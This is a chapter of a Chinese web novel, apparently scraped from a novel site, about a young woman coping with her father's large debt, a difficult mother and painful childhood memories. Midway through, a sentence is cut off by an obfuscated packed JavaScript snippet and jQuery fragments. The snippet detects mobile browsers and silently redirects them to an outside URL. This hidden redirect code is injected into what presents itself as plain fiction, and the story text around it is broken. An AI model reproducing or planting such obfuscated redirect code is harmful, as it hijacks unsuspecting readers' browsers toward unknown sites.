一生潮湿，难以自救。
——《橘色告白》
当晚，甄好工作到深夜，后半夜又几乎是睁着眼睛看着天花板到天明。
翌日清晨，她接到了何允莲的电话：“你和阿美都给我回来，现在立刻马上给我回家！”
“发生什么事了？”甄好头疼地揉着额角。
“什么事？什么事等你回来亲自问问你那没用的好老爸就知道了。”何允莲的声音又拔高了几分。
闻言，甄好心中一跳，一个隐隐的猜测在心中慢慢形成。
甄东成的事到底还是没瞒住，要债的电话打遍了甄家的每一个人。
甄好姐妹俩赶到家的时候，何允莲正指着甄东成逼问：“你说啊，你到底欠了多少钱？啊？！”
“问那么多干什么？你能帮忙还是怎么？”甄东成闭口不提。
眼见着何允莲就要上手了，甄好及时喝止：“妈，我们回来了。”
果然跟她猜的没错，甄东成欠银行钱的事情暴露了。
“阿爸，事已至此，没什么好瞒的了。”甄好早就做好了面对这一天的心理准备，所以神色没有多大变化。
倒是甄美担心极了：“阿姐，到底发生什么事了？”
“是啊，到底怎么回事，你倒是说啊，甄东成！”何允莲因为长期缺觉，整个人看起来苍老了很多，疾言厉色的时候看起来甚至有些狰狞，“你到底为什么欠银行钱，到底欠了多少钱？！”
“一……”甄东成紧闭双眼，豁出去了般大声道，“一百万！”
“多……多少？”听到这个数字何允莲霎时瞪大双眼，“你说你欠了多少？”
“一百万，一百万，一百万！”甄东成被问烦了，一连回答了好几遍，“我欠了一百万，行了吗？”
“一百万……”何允莲颤抖着嘴唇重复道，而后开始哭号，“我怎么命这么苦啊，嫁给你没过过几天好日子就算了，到老还要背上这么大一笔债……我命苦啊！”
一百万对于甄家来说无疑是个天文数字，甄美的脸色也有些苍白，也是这时她才想明白了一些事：“阿姐，所以你才会把刚买不久的新车卖了是吗……”
她昨晚去半山庄园接甄好开的是沈翊的车。
“什么？你把车卖了？！”何允莲一听更加难以接受，号啕的声音更大了，“甄东成，都是你这个没用的，搞得这个家什么都没了……没了，什么都没了啊……我命太苦了……”
“妈，你想让邻居看笑话吗？”甄好冷不丁一句话就让何允莲止住了哭声。
她最懂何允莲看重什么，所以能够精准地掐住要害。
何允莲最爱面子，最在乎旁人对她的看法，搬出自己人对她来说没有任何威慑力，但只要提到外人看笑话，比任何招数都管用。
“我没钱……”半晌，何允莲才挤出了这么三个字。
“就没指望你能帮忙……”甄东成呛了一句。
“你们慢慢吵，我去找奶奶给我做面线糊吃。”甄好说着就朝里屋走去。
她的冷静反倒让甄东成夫妇俩噤了声，两人面面相觑，相顾无言。
甄美小跑着跟上甄好：“阿姐，你等等我，我也想吃奶奶做的面线糊了。”
甄奶奶做的面线糊有家的味道，在外面怎么都吃不到相同的。
接下来的日子，甄好奔波在银行和与卖车相关的各个地方之间，忙得工作几乎都要顾不上。
极致的忙碌让她无暇顾及分手的难过，每天一睁眼就无数事情等着她，等到深夜终于忙完她早就累得沾床便睡。
在替甄东成还完一部分欠款，又将剩余的债务合理规划归还计划后，甄好又面临着新的问题——何允莲的病情每况愈下。
甄家人经过商量，决定让何允莲换个地方生活，改变一下环境，看能不能调节一下心情。
也就是搬到甄好姐妹俩租的房子里暂住一段时间。
何允莲住进来的第一天，姐妹俩开启了噩梦般的生活。
吃饭时——
何允莲：“饭太硬了，吃起来胃不舒服。”
甄好：“那多吃菜，吃饺子也行。”
何允莲：“菜太淡了，饺子吃不下，看到就饱了。”
甄好：“……”
散步时——
何允莲：“浑身没劲，走不动了。”
甄好：“那我们回去。”
何允莲：“家里太闷了，喘不上气来。”
甄好：“……”
逛商场——
何允莲：“暖气太热了。”
甄好：“那不逛了，出去吧。”
何允莲：“外面太冷了。”
甄好：“……”
睡觉时——
何允莲：“我感觉胸口闷，窗户开了吗？”
甄好：“开了。”
何允莲：“小美，把门也打开一下。”
甄美：“门是开着的。”
何允莲：“好好，我还是觉得很闷，喘不上气来。”
甄好：“那我打120？”
何允莲：“不行不行，等下大家都知道我去医院了，多不好意思。”
甄好：“……”
在如此过了一周后，甄好和甄美的精神状态已然趋于崩溃。
好不容易放假的周末，两人甚至不敢在家多待，一同去了家附近的咖啡店。
甄美直接趴在桌子上，一脸生无可恋地说道：“阿姐，再这么下去，家里得多两个更年期的女人。”
“赞同。”甄好经历过那么多事情，心理比很多人都强大，可是在何允莲面前显然不够用。
“怎么办啊，阿姐……”甄美话没说完，放在桌面的手机先响了起来。
她顿时弹跳起身，膝盖重重地磕到了桌角，疼得她直倒吸冷气。
“接吧，没事。”甄好看着一脸为难的甄美，鼓励她。
结果可想而知，何允莲劈头盖脸地骂了甄美一顿：“你就是嫌弃我这个破老母了，你心里没有我这个破老母了……”
甄美被骂得一句话都说不出来。
何允莲要是暴跳如雷地发脾气甄美还能痛快地跟她吵一架，偏偏她每次都是用可怜兮兮、委屈巴巴的语气控诉着，时不时还要哽咽地哭泣两声，这搁谁都受不了。
等何允莲终于说累了挂断电话后，甄好的手机很快也响了起来。
姐妹俩对视一眼，心中都有了答案。
答案正确，正是何允莲打来的，电话一接通她就用带着哭腔的声音说道：“好好，我怎么想都想不通，为什么我们母女仨的感情总是没办法更进一步……好好，你告诉我，我该怎么做……”
面对这个问题，甄好沉默了很久。她不知道该如何回答，因为她心里也没有答案。
何允莲又说了很多，大抵意思都是在惋惜母女之情不像他人那般亲密，控诉她们宁愿到咖啡店干坐着，也不肯在家陪她。
甄好和甄美都很无奈，却也只能不情不愿地回家。
回了家，何允莲变本加厉，又哭又闹，车轱辘话说了一轮又一轮，除了抱怨老天无眼，就是骂甄东成没用，说累了就开始说三个孩子嫌弃她了，不要她了……
甄好头疼得视频拍不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087897|171333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了，文案也没灵感写，整个人身心俱疲。
她不像甄美，工作日还可以暂时逃离这个让人窒息的房子，她一天二十四小时几乎要跟何允莲共处一室。
现在的何允莲身上就像有一个巨大的情绪黑洞，无论丢进去多少正能量，都会被吞噬得一干二净，甚至会反噬无数倍，让任何靠近她的人也变得满身怨念。
如此又被何允莲折腾了一个周末，在她哭着质问姐妹俩为什么跟她不亲后，甄好做了一晚上的梦。
梦里都是何允莲。
第一个梦境是甄好五岁那年。
黑漆漆的夜，大人凌乱的脚步声，乱晃的手电筒，组成了那个逃亡的夜。
为了生一个弟弟，甄家在一夜之间逃往全国各地，从此家人分散。
而甄好被留在了闽镇，和甄逾冬一起生活。
小时候的很多记忆已经模糊，她却永远记得院子里燃起的熊熊大火；也记得被恶人下毒害死的牲畜，一头头猪被开膛破肚，满目的红；更记得睡到大半夜，被恶邻举着斧头砍门的惊恐……
这一幕幕，或鲜红，或黑暗，组成她无法放晴的潮湿童年。
一生潮湿。
难以自救。
第二个梦境是甄好十二岁那年，甄逾冬突发急病去世，何允莲从津城回到闽镇老家。
那是甄好第一次对母亲有印象，彼时的何允莲年轻漂亮，烫着时髦的头发，染了好看的发色。她笑着伸手想要摸摸这个从未在身边长大，如今已经是个大孩子的女儿，可甄好躲开了她的手，一脸警惕地躲在了甄奶奶身后。
很奇怪，甄好知道自己在做梦，也知道这个梦是过去的投射，可她还是在梦里哭得像个没人要的小孩。
更让她伤心难过的是，这不是比喻。
她从小就是不被期待的孩子，就是没人要的小孩。
画面一转，第三个梦境她已经上了初中，因为二十元的生活费受尽何允莲说教。回到学校里，她看着同学们都穿着妈妈买的漂亮衣服、漂亮鞋子，书包里有妈妈塞的零食、口袋里有妈妈给的零花钱，她常常不解地一遍遍在心里问自己：为什么我的妈妈跟别人的不一样？
冬去春来，甄好长大了。她开始明白其实父母没那么爱自己，也开始明白自己要最爱自己，何允莲却告诉她：“我们供你读大学，你现在工作了，要好好努力，以后弟弟娶老婆还要靠你们姐妹俩帮衬。”
她第一次与何允莲发生了巨大的争执，她尖锐而决绝地表示自己将来绝不会托举弟弟的人生，甚至嘲讽道：“娶不起老婆就不要娶，别祸害别人家的女儿好吗？”
气得何允莲几个月没有理她。
这也是甄好执着于买房的原因之一。
半夜醒来时，她伸手一摸，脸上一片湿润。
她在梦里哭，在梦外也哭。
有一股气堵在她心口，憋得她难受。
为了不影响甄美上班，何允莲是跟甄好住一间房。
担心吵醒何允莲，她轻手轻脚地起身，拿着手机去了阳台。
解锁手机的一瞬间，壁纸上那个笑得温柔的女孩映入甄好眼帘。
她这才意识到自己错拿了何允莲的手机。
何允莲的手机壁纸是甄好二十八岁生日时拍的，笑容温婉，眼里有光。
那时她还没有经历背叛，也没有经历聚散离合。
甄好紧紧握着何允莲的手机，这好像是她第一次从母亲身上感受到了微弱的母爱。
哪怕只有一点点，她也贪婪地想要拥有。
漆黑的阳台，单薄的背影，皎洁的月光，压抑的哭声。